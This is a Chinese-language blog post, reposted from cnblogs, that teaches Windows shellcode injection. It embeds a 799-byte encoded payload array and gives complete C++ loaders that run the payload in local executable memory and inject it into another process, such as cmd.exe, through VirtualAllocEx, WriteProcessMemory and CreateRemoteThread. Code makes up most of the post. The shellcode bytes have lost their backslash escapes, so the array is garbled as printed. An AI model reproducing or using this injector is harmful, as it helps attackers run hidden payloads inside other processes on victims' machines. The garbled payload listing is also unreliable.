• shellcode注入原理


    unsigned char buf[] = 
    "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
    "xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
    "x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
    "xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
    "x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
    "x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
    "xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
    "x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
    "x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
    "x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
    "x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
    "x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
    "x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
    "x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
    "xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
    "x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
    "x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
    "x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
    "xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
    "x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
    "xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
    "x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
    "xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
    "x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
    "x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
    "xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
    "xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
    "x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
    "x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
    "x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
    "x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
    "x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
    "x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
    "x65x4bx99x46xd5xdbx11xd7";
    

     上面是一段shellcode 如果我们直接写入会不会执行呐?

    // ConsoleApplication5.cpp : 定义控制台应用程序的入口点。
    //
    
    #include "stdafx.h"
    
    
    unsigned char buf[] = 
    "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
    "xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
    "x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
    "xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
    "x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
    "x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
    "xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
    "x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
    "x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
    "x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
    "x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
    "x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
    "x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
    "x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
    "xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
    "x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
    "x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
    "x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
    "xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
    "x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
    "xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
    "x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
    "xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
    "x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
    "x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
    "xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
    "xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
    "x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
    "x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
    "x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
    "x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
    "x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
    "x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
    "x65x4bx99x46xd5xdbx11xd7";
     
    typedef void(*PFN_FOO)();
    int main()
    {
    	PFN_FOO f = (PFN_FOO)(void *)buf;
    f();
    }
    

     我们可以看见内存区域可读可写不可以执行,因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区

     VirtualAlloc

    LPVOID VirtualAlloc(  LPVOID lpAddress,        // region to reserve or commit
    
      SIZE_T dwSize,           // size of region
    
      DWORD flAllocationType,  // type of allocation
    
      DWORD flProtect          // type of access protection);

    这里来申请一块

    LPVOID lpAddr = VirtualAlloc(
    			NULL,	//表示任意地址,随机分配
    			1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
    			MEM_COMMIT,	//告诉操作系统给分配一块内存
    			PAGE_EXECUTE_READWRITE
    		);
     
    	if (lpAddr == NULL){
    		printf("Alloc error!");
    		return 0;
    }
    

     可以看到内存已经申请好了,接下来就把我们的数据拷贝过来,再执行,最后还要释放掉

    memcpy(lpAddr, data, sizeof(data));
     
    typedef void(*PFN_FOO)();
    PFN_FOO f = (PFN_FOO)(void*)lpAddr;
    f();
     
    VirtualFree(lpAddr,1,MEM_DECOMMIT);

    完整代码

    // ConsoleApplication5.cpp : 定义控制台应用程序的入口点。
    //
    
    #include "stdafx.h"
    #include "Windows.h"
    #include "iostream"
    
    
    unsigned char buf[] = 
    "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
    "xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
    "x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
    "xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
    "x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
    "x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
    "xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
    "x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
    "x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
    "x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
    "x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
    "x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
    "x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
    "x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
    "xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
    "x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
    "x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
    "x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
    "xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
    "x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
    "xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
    "x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
    "xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
    "x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
    "x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
    "xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
    "xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
    "x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
    "x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
    "x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
    "x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
    "x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
    "x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
    "x65x4bx99x46xd5xdbx11xd7";
     
    typedef void(*PFN_FOO)();
    int main()
    
    {
    
        LPVOID lpAddr = VirtualAlloc(
    
                NULL,    //表示任意地址,随机分配
    
                1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节
    
                MEM_COMMIT,    //告诉操作系统给分配一块内存
    
                PAGE_EXECUTE_READWRITE
    
            );
    
     
    
        if (lpAddr == NULL){
    
            printf("Alloc error!");
    
            return 0;
    
        }
    
        //到这里表示能够成功分配内存
    
        memcpy(lpAddr, buf, sizeof(buf));
    
     
    
        typedef void(*PFN_FOO)();
    
        PFN_FOO f = (PFN_FOO)(void*)lpAddr;
    
        f();
    
     
    
        VirtualFree(lpAddr,1,MEM_DECOMMIT);
    
     
    
        return 0;
    }

    VirtualAllocEx指定进程开辟内存空间

    LPVOID VirtualAllocEx(  HANDLE hProcess,          // process to allocate memory
      LPVOID lpAddress,         // desired starting address 
      SIZE_T dwSize,            // size of region to allocate
      DWORD flAllocationType,   // type of allocation
      DWORD flProtect           // type of access protection);
    

     代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode为32位所以我们需要获取的也是32位的

    //获取快照
    	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	PROCESSENTRY32 pe32;
    	DWORD pid = 0;
    	pe32.dwSize = sizeof(PROCESSENTRY32);
    	//查看第一个进程
    	BOOL bRet = Process32First(hSnap, &pe32);
     
    	while (bRet)
    	{
    		bRet = Process32Next(hSnap, &pe32);
    		if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
    			pid = pe32.th32ProcessID;
    			break;
    		}
    	}
    	//获取进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    

     在目标进程开辟空间

    	//1.在目标进程开辟空间
    	LPVOID lpAddr = VirtualAllocEx(
    		hProcess,	//在目标进程中开辟空间
    		NULL,	//表示任意地址,随机分配
    		1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
    		MEM_COMMIT,	//告诉操作系统给分配一块内存
    		PAGE_EXECUTE_READWRITE
    		);
     
    	if (lpAddr == NULL){
    		printf("Alloc error!");
    		return 0;
    	}
     
    
    然后我们就是要写入,这里就不能使用memcpy了因为这个是当前进程调用的
    WriteProcessMemory
    BOOL WriteProcessMemory(
    
      HANDLE hProcess,                // handle to process
    
      LPVOID lpBaseAddress,           // base of memory area
    
      LPCVOID lpBuffer,               // data buffer
    
      SIZE_T nSize,                   // count of bytes to write
    
      SIZE_T * lpNumberOfBytesWritten // count of bytes written);
    

     这里写入我们的shellcode

    	//2.在目标进程中写入代码
    
    	bRet = WriteProcessMemory(
    
    		hProcess,	//目标进程
    
    		lpAddr,	//目标地址	目标进程中
    
    		data,	//源数据	当前进程中
    
    		sizeof(data),	//写多大
    
    		&dwWritesBytes //成功写入的字节数
    
    		);
    
    	if (!bRet){
    
    		VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
    
    		return 0;
    
    	}
    
    写进去了还要调用才能执行,创建远程线程
    CreateRemoteThread
    HANDLE CreateRemoteThread(
    
      HANDLE hProcess,                          // handle to process
    
      LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
    
      SIZE_T dwStackSize,                       // initial stack size
    
      LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
    
      LPVOID lpParameter,                       // thread argument
    
      DWORD dwCreationFlags,                    // creation option
    
      LPDWORD lpThreadId                        // thread identifier);
    

     返回目标进程的线程

    //3.向目标程序调用一个线程 创建远程线程  执行写入代码
    	HANDLE hRemoteThread = CreateRemoteThread(hProcess,	//目标进程
    		NULL,
    		0,
    		(LPTHREAD_START_ROUTINE)lpAddr,	//目标进程的回调函数
    		NULL,	//回调参数
    		0,
    		NULL
    		);
    

     这里我们不要立马释放因为可能执行需要一段时间,所以要等待执行完毕再释放
    完成代码为

    // shellcode.cpp : 定义控制台应用程序的入口点。
    //
     
    #include "stdafx.h"
    #include <Windows.h>
    #include <TlHelp32.h>
     
    /* length: 799 bytes */
    unsigned char buf[] =
    "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
    "xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
    "x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
    "xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
    "x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
    "x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
    "xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
    "x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
    "x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
    "x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
    "x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
    "x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
    "x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
    "x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
    "xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
    "x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
    "x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
    "x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
    "xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
    "x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
    "xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
    "x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
    "xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
    "x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
    "x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
    "xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
    "xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
    "x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
    "x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
    "x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
    "x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
    "x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
    "x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
    "x65x4bx99x46xd5xdbx11xd7";
     
    typedef void(*PFN_FOO)();
     
    int main()
    {
        //获取快照
        HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        PROCESSENTRY32 pe32;
        DWORD pid = 0;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        //查看第一个进程
        BOOL bRet = Process32First(hSnap, &pe32);
     
        while (bRet)
        {
            bRet = Process32Next(hSnap, &pe32);
            if (wcscmp(pe32.szExeFile, L"cmd.exe") == 0){
                pid = pe32.th32ProcessID;
                break;
            }
        }
        //获取进程句柄
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
     
     
        //1.在目标进程开辟空间
        LPVOID lpAddr = VirtualAllocEx(
            hProcess,    //在目标进程中开辟空间
            NULL,    //表示任意地址,随机分配
            1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节
            MEM_COMMIT,    //告诉操作系统给分配一块内存
            PAGE_EXECUTE_READWRITE
            );
     
        if (lpAddr == NULL){
            printf("Alloc error!");
            return 0;
        }
     
        SIZE_T dwWritesBytes = 0;
     
        //2.在目标进程中写入代码
        bRet = WriteProcessMemory(
            hProcess,    //目标进程
            lpAddr,    //目标地址    目标进程中
            buf,    //源数据    当前进程中
            sizeof(buf),    //写多大
            &dwWritesBytes //成功写入的字节数
            );
        if (!bRet){
            VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
            return 0;
        }
     
        //3.向目标程序调用一个线程 创建远程线程 执行写入代码
        HANDLE hRemoteThread = CreateRemoteThread(hProcess,    //目标进程
            NULL,
            0,
            (LPTHREAD_START_ROUTINE)lpAddr,    //目标进程的回调函数
            NULL,    //回调参数
            0,
            NULL
            );
     
     
        return 0;
    }

    RE

    https://www.cnblogs.com/yicunyiye/p/13696373.html
    
  • 相关阅读:
    【排序】题解_P1093奖学金
    简单了解连接服务器的要求
    centos7安装(纯文字版)
    JAVA虚拟机
    集合
    IO流
    反射
    多线程
    JAVA基础
    博客园皮肤文档
  • 原文地址:https://www.cnblogs.com/-zhong/p/13761382.html
Copyright © 2020-2023  润新知